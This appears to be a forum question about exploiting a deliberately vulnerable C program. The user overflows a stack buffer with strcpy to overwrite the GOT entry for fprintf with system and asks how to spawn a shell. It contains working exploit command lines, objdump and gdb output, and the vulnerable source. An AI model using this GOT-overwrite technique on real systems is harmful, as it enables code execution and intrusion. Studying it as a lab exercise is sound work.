Below is objdump
output of a C program (source code at bottom of this post) where I am doing buffer overflow to overwrite the group offset table (GOT) entry:
-$ objdump -R ./vuln
./vuln: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049944 R_386_GLOB_DAT __gmon_start__
08049980 R_386_COPY stderr
#note the adress of stdout below
080499a0 R_386_COPY stdout
08049954 R_386_JUMP_SLOT printf
08049958 R_386_JUMP_SLOT fwrite
0804995c R_386_JUMP_SLOT strcpy
08049960 R_386_JUMP_SLOT system
08049964 R_386_JUMP_SLOT __gmon_start__
08049968 R_386_JUMP_SLOT exit
0804996c R_386_JUMP_SLOT strlen
08049970 R_386_JUMP_SLOT __libc_start_main
#note the adress of fprintf below
08049974 R_386_JUMP_SLOT fprintf
-$
Address of system()
, from gdb:
(gdb) p system
$3 = {<text variable, no debug info>} 0x8048410 <system@plt>
(gdb)
I am able to call system()
instead of fprintf()
by writing 0x8048410
in 0x8049974
by providing the input as below.
-$ ./vuln `perl -e 'print "A" x 128'``printf "\x74\x99\x04\x08"` `printf "\x10\x84\x04\x08"`
hello
sh: 1: �*��: not found
-$
Above input worked and system()
got called instead of fprintf()
, as can be seen in above output. But it looks like /bin/sh
tried to execute command located in stdout
which it could not understand ( sh: 1: �*��: not found
).
We can see from objdump
output above that address of stdout
is 0x80499a0
. This address is 44 bytes away from 0x8049974
.
Remember that I am copying 0x8048410 to 0x8049974
.
So I thought, after 0x8048410
I can give 40 random characters and then /bin/sh
so that /bin/sh
will be copied to 0x80499a0
(address of stdout
). So when system(stdout, "%s\n", buffer);
a new shell is spawned.
After doing this at least shell error is gone (i.e. I dont get sh: 1: �*��: not found
), but nothing else seems to happen and new shell is not spawned.
-$ ./vuln `perl -e 'print "A" x 128'``printf "\x74\x99\x04\x08"` `printf "\x10\x84\x04\x08"``perl -e 'print "a"x40 . "/bin/sh"'`
hello
-$
So summary is:
I am able able to call system()
instead of fprintf()
by overwriting GOT entries, and I have NO problem in this part.
But once system()
is called, my problem is (stdout, "%s\n", buffer)
, because of which (I guess) system()
(and consequently /bin/sh
) is trying to execute a command whose name is pointed by stdout
.
As, I said I tried by writing /bin/sh
after 44 bytes after 0x8049974
but nothing seems to happen.
I am able to call system(stdout, "%s\n", buffer)
instead of fprintf(stdout, "%s\n", buffer)
by overwriting GOT entry. But I am not able to spawn a shell with this system command. How can I point stdout
to /bin/sh
. I have the adress (0x80499a0) that stdout
is pointing to (from objdump output).
Below is the source code of the program I am trying to exploit
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char **argv)
{
char *p;
char buffer[128];
if (argc != 3) {
fprintf(stderr, "enter two strings that need to be concatenated\n");
return 1;
}
system("echo hello");
/* concatenate two input strings, and print them out together */
p = buffer + strlen(argv[1]);
strcpy(buffer, argv[1]);
strcpy(p, argv[2]);
fprintf(stdout, "%s\n", buffer);
exit(0);
}